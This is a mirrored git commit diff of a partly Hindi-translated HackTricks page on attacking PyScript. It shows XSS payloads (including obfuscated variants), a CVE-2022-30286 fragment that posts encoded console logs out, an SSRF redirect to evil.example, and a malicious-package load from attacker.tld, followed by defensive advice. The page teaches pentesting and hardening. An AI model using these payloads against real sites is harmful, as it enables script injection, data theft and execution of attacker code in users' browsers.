mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/pyscript.md'
This commit is contained in:
parent
91a9815a78
commit
b38eb33f79
@ -10,7 +10,7 @@ PyScript एक नया ढांचा है जो HTML में Python
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
Code:
|
||||
कोड:
|
||||
```html
|
||||
<py-script>
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
|
||||
@ -49,7 +49,7 @@ body: JSON.stringify({ content: btoa(console.logs) }),
|
||||
|
||||
### क्रॉस साइट स्क्रिप्टिंग (सामान्य)
|
||||
|
||||
कोड:
|
||||
Code:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
@ -59,7 +59,7 @@ print("<img src=x onerror='alert(document.domain)'>")
|
||||
|
||||
### क्रॉस साइट स्क्रिप्टिंग (Python Obfuscated)
|
||||
|
||||
कोड:
|
||||
Code:
|
||||
```python
|
||||
<py-script>
|
||||
sur = "\u0027al";fur = "e";rt = "rt"
|
||||
@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||||
कोड:
|
||||
```html
|
||||
<py-script>
|
||||
prinht("
|
||||
prinht(""
|
||||
<script>
|
||||
var _0x3675bf = _0x5cf5
|
||||
function _0x5cf5(_0xced4e9, _0x1ae724) {
|
||||
@ -140,7 +140,7 @@ return _0x34a15f
|
||||
return _0x599c()
|
||||
}
|
||||
</script>
|
||||
")
|
||||
"")
|
||||
</py-script>
|
||||
```
|
||||

|
||||
@ -156,4 +156,62 @@ print(" &
|
||||
```
|
||||

|
||||
|
||||
---
|
||||
|
||||
## नई कमजोरियाँ और तकनीकें (2023-2025)
|
||||
|
||||
### सर्वर-साइड अनुरोध धोखाधड़ी अनियंत्रित रीडायरेक्ट के माध्यम से (CVE-2025-50182)
|
||||
|
||||
`urllib3 < 2.5.0` `redirect` और `retries` पैरामीटर को अनदेखा करता है जब इसे **PyScript के साथ शिप किए गए Pyodide रनटाइम** के अंदर निष्पादित किया जाता है। जब एक हमलावर लक्षित URLs को प्रभावित कर सकता है, तो वे Python कोड को क्रॉस-डोमेन रीडायरेक्ट का पालन करने के लिए मजबूर कर सकते हैं, भले ही डेवलपर ने उन्हें स्पष्ट रूप से अक्षम कर दिया हो ‑ प्रभावी रूप से एंटी-SSRF लॉजिक को बायपास करना।
|
||||
```html
|
||||
<script type="py">
|
||||
import urllib3
|
||||
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
|
||||
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
|
||||
print(r.status, r.url)
|
||||
</script>
|
||||
```
|
||||
`urllib3 2.5.0` में पैच किया गया - अपने PyScript इमेज में पैकेज को अपग्रेड करें या `packages = ["urllib3>=2.5.0"]` में एक सुरक्षित संस्करण पिन करें। विवरण के लिए आधिकारिक CVE प्रविष्टि देखें।
|
||||
|
||||
### मनमाने पैकेज लोडिंग और सप्लाई-चेन हमले
|
||||
|
||||
चूंकि PyScript `packages` सूची में मनमाने URLs की अनुमति देता है, एक दुर्भावनापूर्ण अभिनेता जो कॉन्फ़िगरेशन को संशोधित या इंजेक्ट कर सकता है, पीड़ित के ब्राउज़र में **पूर्ण रूप से मनमाना Python** निष्पादित कर सकता है:
|
||||
```html
|
||||
<py-config>
|
||||
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
|
||||
</py-config>
|
||||
<script type="py">
|
||||
import payload # executes attacker-controlled code during installation
|
||||
</script>
|
||||
```
|
||||
*केवल शुद्ध-पायथन पहिए आवश्यक हैं - कोई वेबएसेम्बली संकलन चरण की आवश्यकता नहीं है।* सुनिश्चित करें कि कॉन्फ़िगरेशन उपयोगकर्ता-नियंत्रित नहीं है और अपने स्वयं के डोमेन पर HTTPS और SRI हैश के साथ विश्वसनीय पहिए होस्ट करें।
|
||||
|
||||
### आउटपुट सैनीटाइजेशन परिवर्तन (2023+)
|
||||
|
||||
* `print()` अभी भी कच्चा HTML इंजेक्ट करता है और इसलिए XSS-प्रवण है (उदाहरण ऊपर)।
|
||||
* नया `display()` सहायक **डिफ़ॉल्ट रूप से HTML को एस्केप करता है** - कच्चा मार्कअप `pyscript.HTML()` में लपेटा जाना चाहिए।
|
||||
```python
|
||||
from pyscript import display, HTML
|
||||
|
||||
display("<b>escaped</b>") # renders literally
|
||||
|
||||
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
|
||||
```
|
||||
यह व्यवहार 2023 में पेश किया गया था और इसे आधिकारिक Built-ins गाइड में दस्तावेजित किया गया है। अविश्वसनीय इनपुट के लिए `display()` पर भरोसा करें और सीधे `print()` को कॉल करने से बचें।
|
||||
|
||||
---
|
||||
|
||||
## Defensive Best Practices
|
||||
|
||||
* **पैकेज को अद्यतित रखें** – `urllib3 >= 2.5.0` पर अपग्रेड करें और नियमित रूप से साइट के साथ शिप होने वाले पहियों को फिर से बनाएं।
|
||||
* **पैकेज स्रोतों को सीमित करें** – केवल PyPI नामों या समान-स्रोत URLs का संदर्भ दें, आदर्श रूप से Sub-resource Integrity (SRI) के साथ सुरक्षित।
|
||||
* **Content Security Policy को मजबूत करें** – इनलाइन JavaScript (`script-src 'self' 'sha256-…'`) की अनुमति न दें ताकि इंजेक्ट किए गए `<script>` ब्लॉक्स निष्पादित न हो सकें।
|
||||
* **उपयोगकर्ता द्वारा प्रदान किए गए `<py-script>` / `<script type="py">` टैग की अनुमति न दें** – अन्य उपयोगकर्ताओं को वापस भेजने से पहले सर्वर पर HTML को साफ करें।
|
||||
* **कार्यकर्ताओं को अलग करें** – यदि आपको कार्यकर्ताओं से DOM तक समकालिक पहुंच की आवश्यकता नहीं है, तो `SharedArrayBuffer` हेडर आवश्यकताओं से बचने के लिए `sync_main_only` फ्लैग सक्षम करें।
|
||||
|
||||
## References
|
||||
|
||||
* [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
|
||||
* [PyScript Built-ins documentation – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user